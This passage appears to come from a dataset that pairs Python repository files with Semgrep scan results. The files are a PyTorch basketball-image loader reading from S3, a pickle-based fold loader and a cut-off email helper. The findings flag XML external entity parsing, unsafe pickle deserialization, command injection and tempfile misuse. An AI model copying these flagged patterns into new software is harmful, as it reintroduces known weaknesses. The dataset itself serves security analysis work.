"https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_cd423f153df73bcd_a105f06c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 36, "line_end": 36, "column_start": 5, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/cd423f153df73bcd.py", "start": {"line": 36, "col": 5, "offset": 867}, "end": {"line": 36, "col": 56, "offset": 918}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 7 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
35,
36
] | [
35,
36
] | [
5,
5
] | [
29,
56
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found dynamic conte... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | pypi.py | /emptool/pypi.py | EasyMicroPython/EMP-TOOL | MIT | |
2024-11-18T18:40:14.335755+00:00 | 1,521,477,781,000 | 6fce042ac3ea442d4133bb3d82a9a274f845d004 | 2 | {
"blob_id": "6fce042ac3ea442d4133bb3d82a9a274f845d004",
"branch_name": "refs/heads/master",
"committer_date": 1521477781000,
"content_id": "24bb7862565e711a483a7e1057838409b2cb53ab",
"detected_licenses": [
"MIT"
],
"directory_id": "1bcebf9f4c205872670379369a288b1e212886eb",
"extension": "py",
"filename": "bhjc.py",
"fork_events_count": 0,
"gha_created_at": 1520458349000,
"gha_event_created_at": 1520458350000,
"gha_language": null,
"gha_license_id": null,
"github_id": 124297123,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6116,
"license": "MIT",
"license_type": "permissive",
"path": "/data/bhjc20180123_bball/bhjc.py",
"provenance": "stack-edu-0054.json.gz:570318",
"repo_name": "keithdlandry/ssd.pytorch",
"revision_date": 1521477781000,
"revision_id": "5dcac82545c7872d54037cb32b110e6d9d238451",
"snapshot_id": "9240f0fcd67cc8bcf2e57906325b83cae8262a24",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/keithdlandry/ssd.pytorch/5dcac82545c7872d54037cb32b110e6d9d238451/data/bhjc20180123_bball/bhjc.py",
"visit_date": "2020-04-10T21:59:36.067499"
} | 2.390625 | stackv2 | import os
import os.path
import sys
import torch
import torch.utils.data as data
import torchvision.transforms as transforms
from PIL import Image, ImageDraw, ImageFont
import cv2
import numpy as np
import boto3
import tempfile
if sys.version_info[0] == 2:
import xml.etree.cElementTree as ET
else:
import xml.etree.ElementTree as ET
# GLOBALS
CLASSES = ('person', 'basketball')
# CLASSES = ['basketball']
# for making bounding boxes pretty
COLORS = ((255, 0, 0, 128), (0, 255, 0, 128), (0, 0, 255, 128),
(0, 255, 255, 128), (255, 0, 255, 128), (255, 255, 0, 128))
class AnnotationTransformBhjc(object):
"""Transforms a VOC annotation into a Tensor of bbox coords and label index
Initilized with a dictionary lookup of classnames to indexes
Arguments:
class_to_ind (dict, optional): dictionary lookup of classnames -> indexes
(default: alphabetic indexing of VOC's 20 classes)
keep_difficult (bool, optional): keep difficult instances or not
(default: False)
height (int): height
width (int): width
"""
def __init__(self, class_to_ind=None, keep_difficult=False, ball_only=False):
self.class_to_ind = class_to_ind or dict(
zip(CLASSES, range(len(CLASSES))))
self.keep_difficult = keep_difficult
self.ball_only = ball_only
def __call__(self, target, width, height):
"""
Arguments:
target (annotation) : the target annotation to be made usable
will be an ET.Element
Returns:
a list containing lists of bounding boxes [bbox coords, class name]
"""
res = []
for obj in target.iter('object'):
difficult = int(obj.find('difficult').text) == 1
if not self.keep_difficult and difficult:
continue
name = obj.find('name').text.lower().strip()
# move to next object if not a ball and we've decided on ball detection only
if self.ball_only and 'ball' not in name:
continue
bbox = obj.find('bndbox')
pts = ['xmin', 'ymin', 'xmax', 'ymax']
bndbox = []
for i, pt in enumerate(pts):
cur_pt = int(bbox.find(pt).text) - 1
# scale height or width
cur_pt = cur_pt / width if i % 2 == 0 else cur_pt / height
bndbox.append(cur_pt)
label_idx = self.class_to_ind[name]
bndbox.append(label_idx)
res += [bndbox] # [xmin, ymin, xmax, ymax, label_ind]
# img_id = target.find('filename').text[:-4]
return res # [[xmin, ymin, xmax, ymax, label_ind], ... ]
class BhjcBballDataset(data.Dataset):
"""
Dataset supporting the labelImg labeled images from our 2018-01-23 experiment
at the Beverly Hills Jewish Community Center.
__init__ Arguments:
img_path (string): filepath to the folder containing images
anno_path (string): filepath to the folder containing annotations
transform (callable, optional): transformation to be performed on image
target_transform (callable, optional): trasformation to be performed on annotations
id_list = list of image ids
dataset_name (string, optional): name of the dataset
(default: 'bhjc')
"""
#TODO: read image files from s3
def __init__(self, img_path, anno_path, id_list, transform=None,
target_transform=None, dataset_name='bhjc', file_name_prfx='left_scene2_rot180_'):
self.img_path = img_path
self.anna_path = anno_path
self.transform = transform
self.target_transform = target_transform
self.name = dataset_name
self._annopath = anno_path
self._imgpath = img_path
self.ids = id_list
self.file_name_prfx = file_name_prfx
def __getitem__(self, index):
im, gt, h, w = self.pull_item(index)
return im, gt
def __len__(self):
return len(self.ids)
def get_img_targ_from_s3(self, img_id, s3_bucket='geniussports-computer-vision-data',
s3_path='internal-experiments/basketball/bhjc/20180123/'):
im_path = s3_path + 'images/left_cam/' + self.file_name_prfx + img_id + '.png'
anno_path = s3_path + 'labels/' + self.file_name_prfx + img_id + '.xml' # xml file has no left_cam directory
print('loading:', im_path)
print('loading:', anno_path)
s3 = boto3.resource('s3', region_name='us-west-2')
bucket = s3.Bucket(s3_bucket)
im_obj = bucket.Object(im_path)
anno_obj = bucket.Object(anno_path)
tmp = tempfile.NamedTemporaryFile()
# dowload to temp file and read in
with open(tmp.name, 'wb') as f:
im_obj.download_fileobj(f)
img = cv2.imread(tmp.name)
with open(tmp.name, 'wb') as f:
anno_obj.download_fileobj(f)
target = ET.parse(tmp.name).getroot()
return img, target
def pull_item(self, index):
img_id = self.ids[index]
# anno_file = self._annopath + self.file_name_prfx + img_id + '.xml'
# img_file = self._imgpath + self.file_name_prfx + img_id + '.png'
# print(anno_file)
# print(img_file)
# target = ET.parse(anno_file).getroot()
# img = cv2.imread(img_file)
img, target = self.get_img_targ_from_s3(img_id)
height, width, channels = img.shape
if self.target_transform is not None:
target = self.target_transform(target, width, height)
if self.transform is not None:
target = np.array(target)
img, boxes, labels = self.transform(img, target[:, :4], target[:, 4])
# to rgb
img = img[:, :, (2, 1, 0)]
# img = img.transpose(2, 0, 1)
target = np.hstack((boxes, np.expand_dims(labels, axis=1)))
return torch.from_numpy(img).permute(2, 0, 1), target, height, width
# return torch.from_numpy(img), target, height, width
| 176 | 33.75 | 117 | 18 | 1,551 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_418d434430a1124a_f33c692d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 5, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/418d434430a1124a.py", "start": {"line": 15, "col": 5, "offset": 263}, "end": {"line": 15, "col": 40, "offset": 298}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_418d434430a1124a_1b0919b9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 5, "column_end": 39, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/418d434430a1124a.py", "start": {"line": 17, "col": 5, "offset": 309}, "end": {"line": 17, "col": 39, "offset": 343}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_418d434430a1124a_c6426e42", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 131, "line_end": 131, "column_start": 9, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmpb8jm_z1l/418d434430a1124a.py", "start": {"line": 131, "col": 9, "offset": 4712}, "end": {"line": 131, "col": 44, "offset": 4747}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.tempfile.tempfile-without-flush_418d434430a1124a_4afef210", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.tempfile.tempfile-without-flush", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Using 'tmp.name' without '.flush()' or '.close()' may cause an error because the file may not exist when 'tmp.name' is used. Use '.flush()' or close the file before using 'tmp.name'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 134, "line_end": 134, "column_start": 19, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.tempfile.tempfile-without-flush", "path": "/tmp/tmpb8jm_z1l/418d434430a1124a.py", "start": {"line": 134, "col": 19, "offset": 4810}, "end": {"line": 134, "col": 27, "offset": 4818}, "extra": {"message": "Using 'tmp.name' without '.flush()' or '.close()' may cause an error because the file may not exist when 'tmp.name' is used. Use '.flush()' or close the file before using 'tmp.name'.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.tempfile.tempfile-without-flush_418d434430a1124a_89aa22f7", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.tempfile.tempfile-without-flush", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Using 'tmp.name' without '.flush()' or '.close()' may cause an error because the file may not exist when 'tmp.name' is used. Use '.flush()' or close the file before using 'tmp.name'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 136, "line_end": 136, "column_start": 26, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.tempfile.tempfile-without-flush", "path": "/tmp/tmpb8jm_z1l/418d434430a1124a.py", "start": {"line": 136, "col": 26, "offset": 4896}, "end": {"line": 136, "col": 34, "offset": 4904}, "extra": {"message": "Using 'tmp.name' without '.flush()' or '.close()' may cause an error because the file may not exist when 'tmp.name' is used. Use '.flush()' or close the file before using 'tmp.name'.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.tempfile.tempfile-without-flush_418d434430a1124a_3c1f5b99", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.tempfile.tempfile-without-flush", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Using 'tmp.name' without '.flush()' or '.close()' may cause an error because the file may not exist when 'tmp.name' is used. Use '.flush()' or close the file before using 'tmp.name'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 138, "line_end": 138, "column_start": 19, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.tempfile.tempfile-without-flush", "path": "/tmp/tmpb8jm_z1l/418d434430a1124a.py", "start": {"line": 138, "col": 19, "offset": 4925}, "end": {"line": 138, "col": 27, "offset": 4933}, "extra": {"message": "Using 'tmp.name' without '.flush()' or '.close()' may cause an error because the file may not exist when 'tmp.name' is used. Use '.flush()' or close the file before using 'tmp.name'.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_418d434430a1124a_78b8b429", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(tmp.name)", "location": {"file_path": "unknown", "line_start": 140, "line_end": 140, "column_start": 18, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmpb8jm_z1l/418d434430a1124a.py", "start": {"line": 140, "col": 18, "offset": 5005}, "end": {"line": 140, "col": 36, "offset": 5023}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(tmp.name)", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.tempfile.tempfile-without-flush_418d434430a1124a_6a163df2", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.tempfile.tempfile-without-flush", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Using 'tmp.name' without '.flush()' or '.close()' may cause an error because the file may not exist when 'tmp.name' is used. Use '.flush()' or close the file before using 'tmp.name'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 140, "line_end": 140, "column_start": 27, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.tempfile.tempfile-without-flush", "path": "/tmp/tmpb8jm_z1l/418d434430a1124a.py", "start": {"line": 140, "col": 27, "offset": 5014}, "end": {"line": 140, "col": 35, "offset": 5022}, "extra": {"message": "Using 'tmp.name' without '.flush()' or '.close()' may cause an error because the file may not exist when 'tmp.name' is used. Use '.flush()' or close the file before using 'tmp.name'.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 8 | true | [
"CWE-611",
"CWE-611",
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml",
"rules.python.lang.security.use-defused-xml",
"rules.python.lang.security.use-defused-xml-parse"
] | [
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH"
] | [
15,
17,
140
] | [
15,
17,
140
] | [
5,
5,
18
] | [
40,
39,
36
] | [
"A04:2017 - XML External Entities (XXE)",
"A04:2017 - XML External Entities (XXE)",
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.",
"The Python documentation recommends using `defusedxml` ins... | [
7.5,
7.5,
7.5
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | bhjc.py | /data/bhjc20180123_bball/bhjc.py | keithdlandry/ssd.pytorch | MIT | |
2024-11-18T20:52:22.989998+00:00 | 1,626,962,413,000 | fa2df6c7f31f40dafa6215d3d4691605674c9738 | 3 | {
"blob_id": "fa2df6c7f31f40dafa6215d3d4691605674c9738",
"branch_name": "refs/heads/main",
"committer_date": 1626962413000,
"content_id": "cece1d1ca150c2c525cd177b2e66a3574ab35d1e",
"detected_licenses": [
"MIT"
],
"directory_id": "ecb8914e309afd09d798b2aafa5511ac1c40ccdf",
"extension": "py",
"filename": "cross_validation.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 384741850,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 766,
"license": "MIT",
"license_type": "permissive",
"path": "/scripts/cross_validation.py",
"provenance": "stack-edu-0054.json.gz:570334",
"repo_name": "Quvotha/atmacup11",
"revision_date": 1626962413000,
"revision_id": "1a2bebcd76b3255d4fcf07aea1be5bde67c2d225",
"snapshot_id": "cf99e26c9904e458f4d84e85861c8b628e6aca80",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/Quvotha/atmacup11/1a2bebcd76b3255d4fcf07aea1be5bde67c2d225/scripts/cross_validation.py",
"visit_date": "2023-06-29T14:05:05.212031"
} | 2.765625 | stackv2 | import os.path
import pickle
from typing import Tuple, List
from folder import Folder
def load_cv_object_ids(
filepath: str = os.path.join(Folder.FOLD, 'train_validation_object_ids.pkl')
) -> Tuple[List[str], List[str]]:
"""[summary]
Parameters
----------
filepath : str, optional
[description], by default os.path.join(Folder.FOLD, 'train_validation_object_ids.pickle')
Returns
-------
list of `object_ids`s of training/validation fold : Tuple[List[str], List[str]]
1st list is list of `object_id` s for training set. 2nd one is that for validation set.
"""
with open(filepath, 'rb') as f:
fold_object_ids = pickle.load(f)
return (fold_object_ids['training'], fold_object_ids['validation'])
| 25 | 29.64 | 97 | 11 | 181 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_5e86d1be13521d79_add003ef", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 27, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/5e86d1be13521d79.py", "start": {"line": 24, "col": 27, "offset": 679}, "end": {"line": 24, "col": 41, "offset": 693}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
24
] | [
24
] | [
27
] | [
41
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | cross_validation.py | /scripts/cross_validation.py | Quvotha/atmacup11 | MIT | |
2024-11-18T18:46:58.849712+00:00 | 1,466,891,244,000 | 470bd9a8e440434e43a31751e25ee343199f12db | 3 | {
"blob_id": "470bd9a8e440434e43a31751e25ee343199f12db",
"branch_name": "refs/heads/master",
"committer_date": 1466891244000,
"content_id": "7d6adafdc905039aeb47a6bf326108dffce2dbef",
"detected_licenses": [
"MIT"
],
"directory_id": "fc7a28107c2b3697917c348252ee987509c3270e",
"extension": "py",
"filename": "general_utils.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 61166640,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5209,
"license": "MIT",
"license_type": "permissive",
"path": "/backend/python/utils/general_utils.py",
"provenance": "stack-edu-0054.json.gz:570416",
"repo_name": "fridgeresearch/kitchen",
"revision_date": 1466891244000,
"revision_id": "0bbe864e6418da3bda5b55ceb292763406d149ea",
"snapshot_id": "790ad2dade5b0cd9fd0f4214409e1ee6a570042c",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/fridgeresearch/kitchen/0bbe864e6418da3bda5b55ceb292763406d149ea/backend/python/utils/general_utils.py",
"visit_date": "2021-01-20T20:24:35.139232"
} | 2.71875 | stackv2 | """
The MIT License (MIT)
Copyright (c) 2016 Jake Lussier (Stanford University)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import sys, os, datetime, collections, psutil, dateutil.parser, smtplib, numpy as np
from os.path import *
sys.path.append(dirname(dirname(abspath(__file__))))
from kitchen import *
from utils.math_utils import *
def sendEmail(from_addr, to_addrs, subject, msg):
server = smtplib.SMTP('smtp.gmail.com', '587')
server.starttls()
psswd = ""
server.login(from_addr, psswd)
msg = 'Subject: %s\n\n%s' % (subject, msg)
server.sendmail(from_addr, to_addrs, msg)
server.quit()
def timeStringToDateTime(time_string):
return dateutil.parser.parse(time_string)
def dateTimeToTimeString(date_time):
